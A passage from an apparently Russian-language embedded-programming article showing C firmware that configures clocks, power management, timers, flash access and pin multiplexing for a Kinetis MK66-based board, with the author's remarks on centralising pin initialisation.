+ LSHIFT(0x00, 6) // FCFTRIM| Fast Internal Reference Clock Fine Trim | FCFTRIM controls the smallest adjustment of the fast internal reference clock frequency
+ LSHIFT(0x02, 4) // RANGE0 | Frequency Range Select | 1X Encoding 2 — Very high frequency range selected for the crystal oscillator ..
+ LSHIFT(0x00, 3) // HGO0 | High Gain Oscillator Select | 1 Configure crystal oscillator for high-gain operation.
+ LSHIFT(0x01, 2) // EREFS0 | External Reference Select | 1 Oscillator requested.
+ LSHIFT(0x00, 1) // LP | Low Power Select | 0 FLL (or PLL) is not disabled in bypass modes.
+ LSHIFT(0x01, 0) // IRCS | Internal Reference Clock Select| 1 Fast internal reference clock selected.
;
// Установка емкостей на осциляторе 0
OSC_CR = 0
+ LSHIFT(0x01, 7) // ERCLKEN | External Reference Enable (OSCERCLK) | 1 External reference clock is enabled.
+ LSHIFT(0x00, 5) // EREFSTEN | External Reference Stop Enable | 0 External reference clock is disabled in Stop mode.
+ LSHIFT(0x00, 3) // SC2P | Oscillator 2 pF Capacitor Load Configure | 1 Add 2 pF capacitor to the oscillator load.
+ LSHIFT(0x00, 2) // SC4P | Oscillator 4 pF Capacitor Load Configure | 1 Add 4 pF capacitor to the oscillator load.
+ LSHIFT(0x00, 1) // SC8P | Oscillator 8 pF Capacitor Load Configure | 1 Add 8 pF capacitor to the oscillator load.
+ LSHIFT(0x01, 0) // SC16P | Oscillator 16 pF Capacitor Load Configure | 1 Add 16 pF capacitor to the oscillator load.
;
// Переход в режим FBE - FLL Bypassed External ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
MCG->C1 = 0
+ LSHIFT(0x02, 6) // CLKS | Clock Source Select | 10 Encoding 2 — External reference clock is selected.
+ LSHIFT(0x03, 3) // FRDIV | FLL External Reference Divider | 011 If RANGE 0 = 0 or OSCSEL=1 , Divide Factor is 32; for all other RANGE 0 values, Divide Factor is 1024.
+ LSHIFT(0x00, 2) // IREFS | Internal Reference Select | 0 External reference clock is selected.
+ LSHIFT(0x01, 1) // IRCLKEN | Internal Reference Clock Enable | 1 MCGIRCLK active.
+ LSHIFT(0x00, 0) // IREFSTEN | Internal Reference Stop Enable | 0 Internal reference clock is disabled in Stop mode.
;
// Настройка FLL
MCG->C4 = 0
+ LSHIFT(0x00, 7) // DMX32 | DCO Maximum Frequency with 32.768 kHz Reference | 0 DCO has a default range of 25%.
+ LSHIFT(0x00, 5) // DRST_DRS | DCO Range Select | 00 Encoding 0 — Low range (reset default).
+ LSHIFT(0x00, 1) // FCTRIM | Fast Internal Reference Clock Trim Setting |
+ LSHIFT(0x00, 0) // SCFTRIM | Slow Internal Reference Clock Fine Trim |
;
//
// Конфигурация PLL0 на 180 МГц
MCG->C5 = 0
+ LSHIFT(0x00, 6) // PLLCLKEN | PLL Clock Enable | 0 MCGPLL0CLK and MCGPLL0CLK2X are inactive
+ LSHIFT(0x00, 5) // PLLSTEN | PLL Stop Enable | 0 MCGPLL0CLK and MCGPLL0CLK2X are disabled in any of the Stop modes.
+ LSHIFT(0x00, 0) // PRDIV | PLL External Reference Divider | 011 Divide Factor 4. Selects the amount to divide down the external reference clock for the PLL0. The resulting frequency must be in the range of 8 MHz to 16 MHz.
;
MCG->C6 = 0
+ LSHIFT(0x00, 7) // LOLIE0 | Loss of Lock Interrrupt Enable | 0 No interrupt request is generated on loss of lock.
+ LSHIFT(0x00, 6) // PLLS | PLL Select | 0 FLL is selected.
+ LSHIFT(0x00, 5) // CME0 | Clock Monitor Enable | 0 External clock monitor is disabled for OSC0.
+ LSHIFT(0x0E, 0) // VDIV | VCO Divider | Умножаем на 30 (чтобы получить 180 МГц от 12 МГц кварца)
;
MCG->C11 = 0
+ LSHIFT(0x00, 4) // PLLCS | PLL Clock Select | 0 PLL0 output clock is selected
;
while ((MCG->S & BIT(1)) == 0) // OSCINIT0 Ждем стабилизации осцилятора OSC0
{
}
while ((MCG->S & BIT(4)) != 0) // IREFST Ждем пока FLL начнет работать от внешнего источника тактирования
{
}
while ((MCG->S & 0x0CU) != 0x08U) // CLKST Ждем пока мультиплексор CLKS установиться в режим FBE - FLL Bypassed External
{
}
// Переход в режим PBE - PLL Bypassed External ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
MCG->C6 = 0
+ LSHIFT(0x00, 7) // LOLIE0 | Loss of Lock Interrrupt Enable | 0 No interrupt request is generated on loss of lock.
+ LSHIFT(0x01, 6) // PLLS | PLL Select | 1 PLLCS output clock is selected
+ LSHIFT(0x00, 5) // CME0 | Clock Monitor Enable | 0 External clock monitor is disabled for OSC0.
+ LSHIFT(0x0E, 0) // VDIV0 | VCO0 Divider | Умножаем на 30 (чтобы получить 180 МГц от 12 МГц кварца)
;
while ((MCG->S & 0x0CU) != 0x08U) // CLKST Ждем пока мультиплексор CLKS установиться в режим FBE - FLL Bypassed External
{
}
while ((MCG->S & BIT(6)) == 0x00U) // LOCK0 Ждем пока PLL0 защелкнется
{
}
// Переход в режим PEE - PLL Engaged External ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
MCG->C1 = 0
+ LSHIFT(0x00, 6) // CLKS | Clock Source Select | 00 Encoding 0 — Output of FLL or PLLCS is selected (depends on PLLS control bit).
+ LSHIFT(0x03, 3) // FRDIV | FLL External Reference Divider | 101 If RANGE 0 = 0 or OSCSEL=1 , Divide Factor is 32; for all other RANGE 0 values, Divide Factor is 1024.
+ LSHIFT(0x00, 2) // IREFS | Internal Reference Select | 0 External reference clock is selected.
+ LSHIFT(0x01, 1) // IRCLKEN | Internal Reference Clock Enable | 1 MCGIRCLK active.
+ LSHIFT(0x00, 0) // IREFSTEN | Internal Reference Stop Enable | 0 Internal reference clock is disabled in Stop mode.
;
while ((MCG->S & 0x0CU) != 0x0CU) // CLKST Ждем пока мультиплексор CLKS установиться в режим PEE - PLL Engaged External
{
}
MCG->C6 |= BIT(5); // CME0 = 1 | 1 External clock monitor is enabled for OSC0.
//--------------------------------------------------------------------------------------------------------------------------------------
// Установки Reset Control Module (RCM)
RCM->RPFW = 0
+ LSHIFT(0x1F, 0) // RSTFLTSEL | Selects the reset pin bus clock filter width.| 11111 Bus clock filter count is 32
;
RCM->RPFC = 0
+ LSHIFT(0x00, 2) // RSTFLTSS | Selects how the reset pin filter is enabled in STOP and VLPS modes. | 0 All filtering disabled
+ LSHIFT(0x01, 0) // RSTFLTSRW | Selects how the reset pin filter is enabled in run and wait modes. | 01 Bus clock filter enabled for normal operation
;
if ((PMC->REGSC & BIT(3)) != 0) PMC->REGSC |= BIT(3); // Сброс бита ACKISO, чтобы разблокировать некоторую периферию
//--------------------------------------------------------------------------------------------------------------------------------------
// Установки Power Management Controller (PMC)
PMC->REGSC = 0
+ LSHIFT(0x00, 3) // ACKISO | Acknowledge Isolation | 0 Peripherals and I/O pads are in normal run state|
// Writing one to this bit when it is set releases the I/O pads and certain peripherals to their normal run mode state
+ LSHIFT(0x00, 0) // BGBE | Bandgap Buffer Enable | 0 Bandgap buffer not enabled
;
PMC->LVDSC1 = 0
+ LSHIFT(0x01, 6) // LVDACK | Low-Voltage Detect Acknowledge | This write-only bit is used to acknowledge low voltage detection errors (write 1 to clear LVDF). Reads always return 0.
+ LSHIFT(0x00, 5) // LVDIE | Low-Voltage Detect Interrupt Enable| 0 Hardware interrupt disabled (use polling)
+ LSHIFT(0x01, 4) // LVDRE | Low-Voltage Detect Reset Enable | 1 Force an MCU reset when LVDF = 1
+ LSHIFT(0x00, 0) // LVDV | Low-Voltage Detect Voltage Select | 00 Low trip point selected (V LVD = V LVDL )
;
PMC->LVDSC2 = 0
+ LSHIFT(0x01, 6) // LVWACK | Low-Voltage Warning Acknowledge |
+ LSHIFT(0x00, 5) // LVWIE | Low-Voltage Warning Interrupt Enable | 0 Hardware interrupt disabled (use polling)
+ LSHIFT(0x00, 0) // LVWV | Low-Voltage Warning Voltage Select | 00 Low trip point selected (V LVW = V LVW1 )
;
//--------------------------------------------------------------------------------------------------------------------------------------
// Инициализация Periodic Interrupt timer
SIM->SCGC6 |= BIT(23); // PIT | PIT clock gate control | 1 Clock is enabled.
PIT->MCR = 0
+ LSHIFT(0x00, 1) // MDIS | Module Disable | 0 Clock for PIT Timers is enabled.
+ LSHIFT(0x01, 0) // FRZ | Freeze | 1 Timers are stopped in debug mode.
;
//--------------------------------------------------------------------------------------------------------------------------------------
// Инициализация Flash Access Protection Register для разрешения доступа к Flash по DMA и от прочих мастеров
FMC->PFAPR = 0
+ LSHIFT(0x01, 23) // M7PFD | 1 Prefetching for this master is disabled. (Ethernet)
+ LSHIFT(0x01, 22) // M6PFD | 1 Prefetching for this master is disabled. (USB HS)
+ LSHIFT(0x01, 21) // M5PFD | 1 Prefetching for this master is disabled. ()
+ LSHIFT(0x01, 20) // M4PFD | 1 Prefetching for this master is disabled. ()
+ LSHIFT(0x00, 19) // M3PFD | 0 Prefetching for this master is enabled. (SDHC, NFC, USB FS)
+ LSHIFT(0x00, 18) // M2PFD | 0 Prefetching for this master is enabled. (DMA, EzPort)
+ LSHIFT(0x00, 17) // M1PFD | 0 Prefetching for this master is enabled. (ARM core system bus)
+ LSHIFT(0x00, 16) // M0PFD | 0 Prefetching for this master is enabled. (ARM core code bus)
+ LSHIFT(0x00, 14) // M7AP[1:0] | 00 No access may be performed by this master.
+ LSHIFT(0x00, 12) // M6AP[1:0] | 00 No access may be performed by this master.
+ LSHIFT(0x00, 10) // M5AP[1:0] | 00 No access may be performed by this master.
+ LSHIFT(0x00, 8) // M4AP[1:0] | 00 No access may be performed by this master.
+ LSHIFT(0x03, 6) // M3AP[1:0] | 11 Both read and write accesses may be performed by this master
+ LSHIFT(0x03, 4) // M2AP[1:0] | 11 Both read and write accesses may be performed by this master
+ LSHIFT(0x03, 2) // M1AP[1:0] | 11 Both read and write accesses may be performed by this master
+ LSHIFT(0x03, 0) // M0AP[1:0] | 11 Both read and write accesses may be performed by this master
;
SIM->SCGC6 |= BIT(18); // Включаем модуль CRC
SIM->SCGC4 |= BIT(19); // Включаем модуль CMP (аналоговые компараторы)
}
```
Текст конечно нельзя назвать коротким, но он все равно гораздо короче и понятней стандартных исходников SDK.
В процедуре ***[Init\_MK66FN2M0VLQ18\_K66BLEZ1](https://github.com/Indemsys/K66BLEZ1/blob/master/Firmware_examples/BareBoard/SimplestApp/K66BLEZ1_INIT_SYS.c)*,** как видно из текста перед инициализацией подсистемы тактирования стоит вызов функции ***Init*\_pins**. Это единая функция инициализации всех выводов микроконтроллера. В SDK разработчики почему-то приняли метод инициализировать выводы в разных функциях драйверов совместно с периферией, которая через них будет работать. Это напоминает стиль драйверов под большие операционные системы. Но микроконтроллер — это не компьютер, всю программу включая драйвера пишет один человек (по крайней мере в моем случае), и ему не надо создавать себе искусственное разделение на «зоны ответственности». Но вот контроль за ресурсами в особенности за назначением функций выводам это ключевая проблема при разработке встраиваемых систем. Поэтому управление выводами я [централизую](https://github.com/Indemsys/K66BLEZ1/blob/master/Firmware_examples/BareBoard/SimplestApp/K66BLEZ1_GPIO.c) и не отдаю его на откуп драйверам.
**Вот текст процедуры инициализации выводов чипа:****Нажать сюда**
```
typedef struct
{
GPIO_MemMapPtr gpio;
PORT_MemMapPtr port;
unsigned char pin_num;
unsigned char irqc; // Interrupt Configuration
// 0000 Interrupt/DMA Request disabled.
// 0001 DMA Request on rising edge.
// 0010 DMA Request on falling edge.
// 0011 DMA Request on either edge.
// 0100 Reserved.
// 1000 Interrupt when logic zero.
// 1001 Interrupt on rising edge.
// 1010 Interrupt on falling edge.
// 1011 Interrupt on either edge.
// 1100 Interrupt when logic one.
unsigned char lock; // if 1 Pin Control Register bits [15:0] are locked and cannot be updated until the next System Reset.
unsigned char mux; // Pin Mux Control
// 000 Pin Disabled (Analog).
// 001 Alternative 1 (GPIO).
// 010 Alternative 2 (chip specific).
// 011 Alternative 3 (chip specific).
// 100 Alternative 4 (chip specific).
// 101 Alternative 5 (chip specific).
// 110 Alternative 6 (chip specific).
// 111 Alternative 7 (chip specific / JTAG / NMI).
unsigned char DSE; // 0 Low drive strength is configured on the corresponding pin, if pin is configured as a digital output.
// 1 High drive strength is configured on the corresponding pin, if pin is configured as a digital output.
unsigned char SRE; // 0 Fast slew rate is configured on the corresponding pin, if pin is configured as a digital output.
// 1 Slow slew rate is configured on the corresponding pin, if pin is configured as a digital output.
unsigned char ODE; // 0 Open Drain output is disabled on the corresponding pin.
// 1 Open Drain output is enabled on the corresponding pin, provided pin is configured as a digital output.
unsigned char PFE; // 0 Passive Input Filter is disabled on the corresponding pin.
// 1 Passive Input Filter is enabled on the corresponding pin.
unsigned char PUPD; // 00 Internal pull-up or pull-down resistor is not enabled on the corresponding pin.
// 10 Internal pull-down resistor is enabled on the corresponding pin, if the corresponding Port Pull Enable Register bit is set.
// 11 Internal pull-up resistor is enabled on the corresponding pin, if the corresponding Port Pull Enable Register bit is set.
unsigned char dir; // 0 Pin is configured as general purpose input, if configured for the GPIO function
// 1 Pin is configured for general purpose output, if configured for the GPIO function
unsigned char init; // Init state
} T_IO_pins_configuration;
#define ANAL 0 // Pin Disabled (Analog).
#define ALT0 0 // Pin Disabled (Analog).
#define GPIO 1 // Alternative 1 (GPIO).
#define ALT1 1 // Alternative 1 (GPIO).
#define ALT2 2 //
#define ALT3 3 //
#define ALT4 4 //
#define ALT5 5 //
#define ALT6 6 //
#define ALT7 7 //
#define DSE_LO 0 // 0 Low drive strength is configured on the corresponding pin, if pin is configured as a digital output.
#define DSE_HI 1 // 1 High drive strength is configured on the corresponding pin, if pin is configured as a digital output.
#define OD_DIS 0 // 0 Open Drain output is disabled on the corresponding pin.
#define OD__EN 1 // 1 Open Drain output is enabled on the corresponding pin, provided pin is configured as a digital output.
#define PFE_DIS 0 // 0 Passive Input Filter is disabled on the corresponding pin.
#define PFE__EN 1 // 1 Passive Input Filter is enabled on the corresponding pin.
#define FAST_SLEW 0 // 0 Fast slew rate is configured on the corresponding pin, if pin is configured as a digital output.
#define SLOW_SLEW 1 // 1 Slow slew rate is configured on the corresponding pin, if pin is configured as a digital output.
#define PUPD_DIS 0 // 00 Internal pull-up or pull-down resistor is not enabled on the corresponding pin.
#define PULL__DN 2 // 10 Internal pull-down resistor is enabled on the corresponding pin, if the corresponding Port Pull Enable Register bit is set.
#define PULL__UP 3 // 11 Internal pull-up resistor is enabled on the corresponding pin, if the corresponding Port Pull Enable Register bit is set.
#define GP_INP 0 // 0 Pin is configured as general purpose input, if configured for the GPIO function
#define GP_OUT 1 // 1 Pin is configured for general purpose output, if configured for the GPIO function
void Config_pin(const T_IO_pins_configuration pinc);
// Настройки линий ввода/вывода платы K66BLEZ1 на базе микроконтроллера MK66FN2M0VLQ18
const T_IO_pins_configuration K66BLEZ1_pins_conf[] =
{
// gpio port num irqc lock mux DSE SRE ODE PFE PUPD dir init
{ PTA_BASE_PTR, PORTA_BASE_PTR, 0, 0, 0, ALT7, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // JTCLK/SWC 50 # PTA0 # Default=(JTAG_TCLK/SWD_CLK/EZP_CLK) ALT0=(TSI0_CH1) ALT1=(PTA0) ALT2=(UART0_CTS_b/UART0_COL_b) ALT3=(FTM0_CH5) ALT4=() ALT5=(LPUART0_CTS_b) ALT6=() ALT7=(JTAG_TCLK/SWD_CLK) EZPort=(EZP_CLK)
{ PTA_BASE_PTR, PORTA_BASE_PTR, 1, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_OUT, 1 }, // JTDI (LED) 51 # PTA1 # Default=(JTAG_TDI/EZP_DI) ALT0=(TSI0_CH2) ALT1=(PTA1) ALT2=(UART0_RX) ALT3=(FTM0_CH6) ALT4=(I2C3_SDA) ALT5=(LPUART0_RX) ALT6=() ALT7=(JTAG_TDI) EZPort=(EZP_DI)
{ PTA_BASE_PTR, PORTA_BASE_PTR, 2, 0, 0, ALT7, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // JTDO/SWO 52 # PTA2 # Default=(JTAG_TDO/TRACE_SWO/EZP_DO) ALT0=(TSI0_CH3) ALT1=(PTA2) ALT2=(UART0_TX) ALT3=(FTM0_CH7) ALT4=(I2C3_SCL) ALT5=(LPUART0_TX) ALT6=() ALT7=(JTAG_TDO/TRACE_SWO) EZPort=(EZP_DO)
{ PTA_BASE_PTR, PORTA_BASE_PTR, 3, 0, 0, ALT7, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // JTMS/SWD 53 # PTA3 # Default=(JTAG_TMS/SWD_DIO) ALT0=(TSI0_CH4) ALT1=(PTA3) ALT2=(UART0_RTS_b) ALT3=(FTM0_CH0) ALT4=() ALT5=(LPUART0_RTS_b) ALT6=() ALT7=(JTAG_TMS/SWD_DIO) EZPort=()
{ PTA_BASE_PTR, PORTA_BASE_PTR, 4, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 54 # PTA4/LLWU_P3 # Default=(NMI_b/EZP_CS_b) ALT0=(TSI0_CH5) ALT1=(PTA4/LLWU_P3) ALT2=() ALT3=(FTM0_CH1) ALT4=() ALT5=() ALT6=() ALT7=(NMI_b) EZPort=(EZP_CS_b)
{ PTA_BASE_PTR, PORTA_BASE_PTR, 5, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 55 # PTA5 # Default=(DISABLED) ALT0=() ALT1=(PTA5) ALT2=(USB0_CLKIN) ALT3=(FTM0_CH2) ALT4=(RMII0_RXER/MII0_RXER) ALT5=(CMP2_OUT) ALT6=(I2S0_TX_BCLK) ALT7=(JTAG_TRST_b) EZPort=()
{ PTA_BASE_PTR, PORTA_BASE_PTR, 6, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 58 # PTA6 # Default=(DISABLED) ALT0=() ALT1=(PTA6) ALT2=() ALT3=(FTM0_CH3) ALT4=() ALT5=(CLKOUT) ALT6=() ALT7=(TRACE_CLKOUT) EZPort=()
{ PTA_BASE_PTR, PORTA_BASE_PTR, 7, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 59 # PTA7 # Default=(ADC0_SE10) ALT0=(ADC0_SE10) ALT1=(PTA7) ALT2=() ALT3=(FTM0_CH4) ALT4=() ALT5=(RMII0_MDIO/MII0_MDIO) ALT6=() ALT7=(TRACE_D3) EZPort=()
{ PTA_BASE_PTR, PORTA_BASE_PTR, 8, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 60 # PTA8 # Default=(ADC0_SE11) ALT0=(ADC0_SE11) ALT1=(PTA8) ALT2=() ALT3=(FTM1_CH0) ALT4=() ALT5=(RMII0_MDC/MII0_MDC) ALT6=(FTM1_QD_PHA/TPM1_CH0) ALT7=(TRACE_D2) EZPort=()
{ PTA_BASE_PTR, PORTA_BASE_PTR, 9, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 61 # PTA9 # Default=(DISABLED) ALT0=() ALT1=(PTA9) ALT2=() ALT3=(FTM1_CH1) ALT4=(MII0_RXD3) ALT5=() ALT6=(FTM1_QD_PHB/TPM1_CH1) ALT7=(TRACE_D1) EZPort=()
{ PTA_BASE_PTR, PORTA_BASE_PTR, 10, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 62 # PTA10/LLWU_P22 # Default=(DISABLED) ALT0=() ALT1=(PTA10/LLWU_P22) ALT2=() ALT3=(FTM2_CH0) ALT4=(MII0_RXD2) ALT5=() ALT6=(FTM2_QD_PHA/TPM2_CH0) ALT7=(TRACE_D0) EZPort=()
{ PTA_BASE_PTR, PORTA_BASE_PTR, 11, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 63 # PTA11/LLWU_P23 # Default=(DISABLED) ALT0=() ALT1=(PTA11/LLWU_P23) ALT2=() ALT3=(FTM2_CH1) ALT4=(MII0_RXCLK) ALT5=(I2C2_SDA) ALT6=(FTM2_QD_PHB/TPM2_CH1) ALT7=() EZPort=()
{ PTA_BASE_PTR, PORTA_BASE_PTR, 12, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 64 # PTA12 # Default=(CMP2_IN0) ALT0=(CMP2_IN0) ALT1=(PTA12) ALT2=(CAN0_TX) ALT3=(FTM1_CH0) ALT4=(RMII0_RXD1/MII0_RXD1) ALT5=(I2C2_SCL) ALT6=(I2S0_TXD0) ALT7=(FTM1_QD_PHA/TPM1_CH0) EZPort=()
{ PTA_BASE_PTR, PORTA_BASE_PTR, 13, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 65 # PTA13/LLWU_P4 # Default=(CMP2_IN1) ALT0=(CMP2_IN1) ALT1=(PTA13/LLWU_P4) ALT2=(CAN0_RX) ALT3=(FTM1_CH1) ALT4=(RMII0_RXD0/MII0_RXD0) ALT5=(I2C2_SDA) ALT6=(I2S0_TX_FS) ALT7=(FTM1_QD_PHB/TPM1_CH1) EZPort=()
{ PTA_BASE_PTR, PORTA_BASE_PTR, 14, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 66 # PTA14 # Default=(DISABLED) ALT0=() ALT1=(PTA14) ALT2=(SPI0_PCS0) ALT3=(UART0_TX) ALT4=(RMII0_CRS_DV/MII0_RXDV) ALT5=(I2C2_SCL) ALT6=(I2S0_RX_BCLK) ALT7=(I2S0_TXD1) EZPort=()
{ PTA_BASE_PTR, PORTA_BASE_PTR, 15, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 67 # PTA15 # Default=(CMP3_IN1) ALT0=(CMP3_IN1) ALT1=(PTA15) ALT2=(SPI0_SCK) ALT3=(UART0_RX) ALT4=(RMII0_TXEN/MII0_TXEN) ALT5=() ALT6=(I2S0_RXD0) ALT7=() EZPort=()
{ PTA_BASE_PTR, PORTA_BASE_PTR, 16, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 68 # PTA16 # Default=(CMP3_IN2) ALT0=(CMP3_IN2) ALT1=(PTA16) ALT2=(SPI0_SOUT) ALT3=(UART0_CTS_b/UART0_COL_b) ALT4=(RMII0_TXD0/MII0_TXD0) ALT5=() ALT6=(I2S0_RX_FS) ALT7=(I2S0_RXD1) EZPort=()
{ PTA_BASE_PTR, PORTA_BASE_PTR, 17, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 69 # PTA17 # Default=(ADC1_SE17) ALT0=(ADC1_SE17) ALT1=(PTA17) ALT2=(SPI0_SIN) ALT3=(UART0_RTS_b) ALT4=(RMII0_TXD1/MII0_TXD1) ALT5=() ALT6=(I2S0_MCLK) ALT7=() EZPort=()
{ PTA_BASE_PTR, PORTA_BASE_PTR, 18, 0, 0, ALT0, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // EXTAL 72 # PTA18 # Default=(EXTAL0) ALT0=(EXTAL0) ALT1=(PTA18) ALT2=() ALT3=(FTM0_FLT2) ALT4=(FTM_CLKIN0) ALT5=() ALT6=() ALT7=(TPM_CLKIN0) EZPort=()
{ PTA_BASE_PTR, PORTA_BASE_PTR, 19, 0, 0, ALT0, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // XTAL 73 # PTA19 # Default=(XTAL0) ALT0=(XTAL0) ALT1=(PTA19) ALT2=() ALT3=(FTM1_FLT0) ALT4=(FTM_CLKIN1) ALT5=() ALT6=(LPTMR0_ALT1) ALT7=(TPM_CLKIN1) EZPort=()
{ PTA_BASE_PTR, PORTA_BASE_PTR, 24, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 75 # PTA24 # Default=(CMP3_IN4) ALT0=(CMP3_IN4) ALT1=(PTA24) ALT2=() ALT3=() ALT4=(MII0_TXD2) ALT5=() ALT6=(FB_A29) ALT7=() EZPort=()
{ PTA_BASE_PTR, PORTA_BASE_PTR, 25, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 76 # PTA25 # Default=(CMP3_IN5) ALT0=(CMP3_IN5) ALT1=(PTA25) ALT2=() ALT3=() ALT4=(MII0_TXCLK) ALT5=() ALT6=(FB_A28) ALT7=() EZPort=()
{ PTA_BASE_PTR, PORTA_BASE_PTR, 26, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 77 # PTA26 # Default=(DISABLED) ALT0=() ALT1=(PTA26) ALT2=() ALT3=() ALT4=(MII0_TXD3) ALT5=() ALT6=(FB_A27) ALT7=() EZPort=()
{ PTA_BASE_PTR, PORTA_BASE_PTR, 27, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 78 # PTA27 # Default=(DISABLED) ALT0=() ALT1=(PTA27) ALT2=() ALT3=() ALT4=(MII0_CRS) ALT5=() ALT6=(FB_A26) ALT7=() EZPort=()
{ PTA_BASE_PTR, PORTA_BASE_PTR, 28, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 79 # PTA28 # Default=(DISABLED) ALT0=() ALT1=(PTA28) ALT2=() ALT3=() ALT4=(MII0_TXER) ALT5=() ALT6=(FB_A25) ALT7=() EZPort=()
{ PTA_BASE_PTR, PORTA_BASE_PTR, 29, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 80 # PTA29 # Default=(DISABLED) ALT0=() ALT1=(PTA29) ALT2=() ALT3=() ALT4=(MII0_COL) ALT5=() ALT6=(FB_A24) ALT7=() EZPort=()
{ PTB_BASE_PTR, PORTB_BASE_PTR, 0, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 81 # PTB0/LLWU_P5 # Default=(ADC0_SE8/ADC1_SE8/TSI0_CH0) ALT0=(ADC0_SE8/ADC1_SE8/TSI0_CH0) ALT1=(PTB0/LLWU_P5) ALT2=(I2C0_SCL) ALT3=(FTM1_CH0) ALT4=(RMII0_MDIO/MII0_MDIO) ALT5=(SDRAM_CAS_b) ALT6=(FTM1_QD_PHA/TPM1_CH0) ALT7=() EZPort=()
{ PTB_BASE_PTR, PORTB_BASE_PTR, 1, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 82 # PTB1 # Default=(ADC0_SE9/ADC1_SE9/TSI0_CH6) ALT0=(ADC0_SE9/ADC1_SE9/TSI0_CH6) ALT1=(PTB1) ALT2=(I2C0_SDA) ALT3=(FTM1_CH1) ALT4=(RMII0_MDC/MII0_MDC) ALT5=(SDRAM_RAS_b) ALT6=(FTM1_QD_PHB/TPM1_CH1) ALT7=() EZPort=()
{ PTB_BASE_PTR, PORTB_BASE_PTR, 2, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 83 # PTB2 # Default=(ADC0_SE12/TSI0_CH7) ALT0=(ADC0_SE12/TSI0_CH7) ALT1=(PTB2) ALT2=(I2C0_SCL) ALT3=(UART0_RTS_b) ALT4=(ENET0_1588_TMR0) ALT5=(SDRAM_WE) ALT6=(FTM0_FLT3) ALT7=() EZPort=()
{ PTB_BASE_PTR, PORTB_BASE_PTR, 3, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 84 # PTB3 # Default=(ADC0_SE13/TSI0_CH8) ALT0=(ADC0_SE13/TSI0_CH8) ALT1=(PTB3) ALT2=(I2C0_SDA) ALT3=(UART0_CTS_b/UART0_COL_b) ALT4=(ENET0_1588_TMR1) ALT5=(SDRAM_CS0_b) ALT6=(FTM0_FLT0) ALT7=() EZPort=()
{ PTB_BASE_PTR, PORTB_BASE_PTR, 4, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 85 # PTB4 # Default=(ADC1_SE10) ALT0=(ADC1_SE10) ALT1=(PTB4) ALT2=() ALT3=() ALT4=(ENET0_1588_TMR2) ALT5=(SDRAM_CS1_b) ALT6=(FTM1_FLT0) ALT7=() EZPort=()
